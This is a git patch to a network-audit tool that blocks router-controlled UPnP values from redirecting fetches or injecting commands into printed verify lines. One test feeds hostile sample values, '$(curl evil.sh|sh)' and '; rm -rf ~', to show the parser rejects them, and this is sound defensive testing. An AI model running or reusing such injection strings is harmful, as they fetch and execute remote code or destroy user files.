From 74430e4904fbacc3b548ee8c2f8f7026ea0da944 Mon Sep 17 00:00:00 2001 From: Gabriel Lluch Date: Sat, 1 Aug 2026 15:43:58 -0700 Subject: [PATCH] fix(upnp): stop router-controlled strings reaching fetches and verify commands --- README.md | 2 ++ netdiff/upnp.py | 40 ++++++++++++++++++++++++++-- tests/test_upnp.py | 66 ++++++++++++++++++++++++++++++++++++++++++---- 3 files changed, 101 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index ce321c3..611389e 100644 --- a/README.md +++ b/README.md @@ -88,6 +88,8 @@ This rules out checks that would otherwise be easy. Anonymous-FTP detection need One trust boundary is worth naming: SSDP replies are unauthenticated UDP, so anything on your network can forge one and choose the URL netdiff fetches next. netdiff only follows a `LOCATION` whose host is a literal private address inside the subnet being audited, and caps every response it reads. +That check holds for every hop, not just the first. A device description can name an absolute `controlURL` that discards the URL we vetted, and any response can redirect, so the control URL is re-checked against the same subnet and redirects are refused outright. The same reasoning covers what gets *printed*: a `verify` line is a command you are told to run, so every value from the network that reaches one - the control URL, a forward's internal client - is validated where it enters, not escaped where it is rendered. + ## Why no dependencies, and why no root Most LAN scanners either shell out to `nmap` or send raw ARP frames with `scapy`, and raw frames need root. netdiff does neither. diff --git a/netdiff/upnp.py b/netdiff/upnp.py index 47a6df1..e3d074d 100644 --- a/netdiff/upnp.py +++ b/netdiff/upnp.py @@ -17,6 +17,16 @@ segment can forge one and point us at a URL of its choosing. We therefore only follow a LOCATION whose host is a literal private IP inside the subnet being audited, and we cap every body we read. + +That check has to survive every hop, not just the first. A description can name +an absolute controlURL, which replaces the base URL outright, and any response +can redirect. Both would move the fetch somewhere the check never saw, so the +control URL is re-checked against the same subnet and redirects are refused. + +The strings that come back are not just fetched, they are printed: a finding's +`verify` line is a command the report tells you to run. Anything from the +network that reaches one is validated here, at the boundary, rather than +escaped at each of the places it is rendered. """ from __future__ import annotations @@ -177,6 +187,13 @@ def parse_mapping(response: str): fields = {_localname(e.tag): (e.text or "").strip() for e in root.iter()} if not fields.get("NewExternalPort") or not fields.get("NewInternalClient"): return None + try: + # UPnP requires an address here. Anything else is a router telling us a + # story, and this value is rendered into a `verify` command the report + # tells the reader to paste into a shell. + ipaddress.ip_address(fields["NewInternalClient"]) + except ValueError: + return None return Mapping( external_port=_to_int(fields["NewExternalPort"]), protocol=fields.get("NewProtocol", ""), @@ -209,9 +226,24 @@ def ssdp_search(timeout: float = 3.0) -> list[str]: return replies +class _NoRedirect(urllib.request.HTTPRedirectHandler): + """Refuse to follow redirects. + + We check a URL against the audited subnet before fetching it. Following a + redirect would fetch a URL nobody checked, which is the same hole with an + extra step. Returning None here makes urllib raise instead. + """ + + def redirect_request(self, *args, **kwargs): + return None + + +_OPENER = urllib.request.build_opener(_NoRedirect) + + def _http_get(url: str, timeout: float) -> str: try: - with urllib.request.urlopen(url, timeout=timeout) as response: + with _OPENER.open(url, timeout=timeout) as response: return response.read(MAX_BODY_BYTES).decode("utf-8", "replace") except (urllib.error.URLError, OSError, ValueError): return "" @@ -230,7 +262,7 @@ def soap_post(control_url: str, service_type: str, index: int, timeout: float) - }, ) try: - with urllib.request.urlopen(request, timeout=timeout) as response: + with _OPENER.open(request, timeout=timeout) as response: return response.read(MAX_BODY_BYTES).decode("utf-8", "replace") except urllib.error.HTTPError as exc: # The end of the table arrives as HTTP 500 carrying a SOAP fault, so @@ -266,6 +298,10 @@ def probe_gateway(subnet: str, timeout: float = 3.0, search=ssdp_search): if service is None: continue control_url, service_type = service + if not is_safe_location(control_url, network): + # An absolute controlURL replaces the base URL entirely, so passing + # the check on LOCATION says nothing about where this points. + continue return Gateway( control_url=control_url, service_type=service_type, diff --git a/tests/test_upnp.py b/tests/test_upnp.py index 0fa84b3..3301d46 100644 --- a/tests/test_upnp.py +++ b/tests/test_upnp.py @@ -6,6 +6,7 @@ test_scan_and_store.py. """ +import contextlib import http.server import ipaddress import threading @@ -214,6 +215,18 @@ def test_non_numeric_ports_degrade_to_zero_rather_than_raising(): assert m.internal_port == 0 +def test_an_internal_client_that_is_not_an_address_is_not_a_mapping(): + """This field is rendered into a command the report says to paste. + + The router is not trusted input, and `ping -c1 $(...)` in a block a reader + has been told to run is not a typo, it is the whole attack. UPnP requires an + address here, so anything else is refused rather than sanitised downstream. + """ + for client in ("$(curl evil.sh|sh)", "192.168.1.23; rm -rf ~", "router.local"): + response = MAPPING_RESPONSE.replace("192.168.1.23", client) + assert upnp.parse_mapping(response) is None + + # --- enumeration ------------------------------------------------------------ @@ -296,21 +309,64 @@ def do_POST(self): self._send(ENTRY.format(**self.entries[index])) -def test_probe_gateway_walks_description_then_soap_over_real_sockets(): - server = http.server.HTTPServer(("127.0.0.1", 0), _FakeIGD) +@contextlib.contextmanager +def _fake_router(handler): + """Serve `handler` on loopback, yielding the SSDP reply that points at it.""" + server = http.server.HTTPServer(("127.0.0.1", 0), handler) threading.Thread(target=server.serve_forever, daemon=True).start() port = server.server_address[1] - reply = f"HTTP/1.1 200 OK\r\nLOCATION: http://127.0.0.1:{port}/rootDesc.xml\r\n\r\n" try: - gateway = upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply]) + yield f"HTTP/1.1 200 OK\r\nLOCATION: http://127.0.0.1:{port}/rootDesc.xml\r\n\r\n" finally: server.shutdown() - assert gateway.control_url == f"http://127.0.0.1:{port}/ctl/IPConn" + +def test_probe_gateway_walks_description_then_soap_over_real_sockets(): + with _fake_router(_FakeIGD) as reply: + gateway = upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply]) + + assert gateway.control_url.endswith("/ctl/IPConn") assert [m.external_port for m in gateway.mappings] == [32400, 8080] assert gateway.mappings[1].internal_client == "127.0.0.9" +# The LOCATION check is only worth as much as the hop after it. A description +# reached through a checked URL is still written by whoever answered, and it +# gets to name both where we go next and what we print. + + +class _AbsoluteControlURL(_FakeIGD): + """A description naming a controlURL outside the audited subnet.""" + + def do_GET(self): + self._send( + DESCRIPTION.replace( + "/ctl/IPConn", + "http://93.184.216.34/ctl", + ) + ) + + +class _RedirectsAway(_FakeIGD): + """A description URL that 302s off the network.""" + + def do_GET(self): + self.send_response(302) + self.send_header("Location", "http://93.184.216.34/rootDesc.xml") + self.end_headers() + + +def test_a_control_url_outside_the_subnet_is_refused(): + """urljoin lets an absolute controlURL discard the base URL entirely.""" + with _fake_router(_AbsoluteControlURL) as reply: + assert upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply]) is None + + +def test_a_redirect_off_the_network_is_not_followed(): + with _fake_router(_RedirectsAway) as reply: + assert upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply]) is None + + def test_probe_gateway_ignores_a_forged_reply_pointing_off_network(): """The spoofing case, end to end: nothing is fetched, nothing is returned.""" reply = "HTTP/1.1 200 OK\r\nLOCATION: http://93.184.216.34/rootDesc.xml\r\n\r\n"